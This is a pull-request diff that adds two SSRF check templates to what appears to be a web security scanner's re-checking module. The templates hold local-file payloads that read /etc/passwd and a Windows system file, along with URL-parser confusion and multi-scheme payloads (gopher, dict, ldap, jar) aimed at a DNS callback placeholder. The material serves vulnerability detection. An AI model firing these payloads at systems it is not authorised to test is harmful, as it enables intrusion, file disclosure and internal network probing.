Merge pull request #81 from 0x566164696D/rechecker-ssrf

new payloads for rechecker

Author: MKirichenko-Wallarm

ssrf-rechecker-lfi.yaml

@@ -0,0 +1,21 @@
+generate:
+  - payload:
+    - 'netdoc:///etc/passwd'
+    - 'file:///etc/passwd'
+    - 'file://c:\windows\system32\drivers\etc\networks'
+  - method:
+    - replace
+detect:
+  - response:
+    - body: '#    campus       284.122.107'
+    - body: '[a-z]*:[^:]*:[0-9]*:[0-9]*:[^:]*:\/[^:]*:\/[^:]*'
+meta-info:
+  - type: rce
+  - threat: 70
+  - title: "Server Side Request Forgery (SSRF)"
+  - description: "The target application may have functionality for importing data from a URL, publishing data to a URL or otherwise reading data from a URL that can be tampered with. The attacker modifies the calls to this functionality by supplying a completely different URL or by manipulating how URLs are built (path traversal, etc)."
+  - applicable_for: ["attack_rechecker"]
+  - tags:
+    - SSRF
+    - Server Side Request Forgery
+    - CWE-918

ssrf-rechecker-oob.yaml

@@ -0,0 +1,32 @@
+generate:
+  - payload:
+    - 'DNS_MARKER'
+    - 'http://DNS_MARKER/'
+    - 'http://DNS_MARKER &@2.2.2.2# @3.3.3.3/'
+    - 'http://1.1.1.1 &@DNS_MARKER# @3.3.3.3/'
+    - 'http://1.1.1.1 &@2.2.2.2# @DNS_MARKER/'
+    - 'http://127.1.1.1:80\@DNS_MARKER:80/'
+    - 'http://127.1.1.1:80\@@DNS_MARKER:80/'
+    - 'http://127.1.1.1:80:\@@DNS_MARKER:80/'
+    - 'http://127.1.1.1:80#\@DNS_MARKER:80/'
+    - 'jar:http://DNS_MARKER!/'
+    - 'dict://DNS_MARKER:11111/'
+    - 'sftp://DNS_MARKER:8022/'
+    - 'tftp://DNS_MARKER:69/somefile'
+    - 'ldap://DNS_MARKER:389/%0astats%0aquit'
+    - 'gopher://DNS_MARKER:70/'
+  - method:
+    - replace
+detect:
+  - oob:
+    - dns
+meta-info:
+  - type: rce
+  - threat: 70
+  - title: "Server Side Request Forgery (SSRF)"
+  - description: "The target application may have functionality for importing data from a URL, publishing data to a URL or otherwise reading data from a URL that can be tampered with. The attacker modifies the calls to this functionality by supplying a completely different URL or by manipulating how URLs are built (path traversal, etc)."
+  - applicable_for: ["attack_rechecker"]
+  - tags:
+    - SSRF
+    - Server Side Request Forgery
+    - CWE-918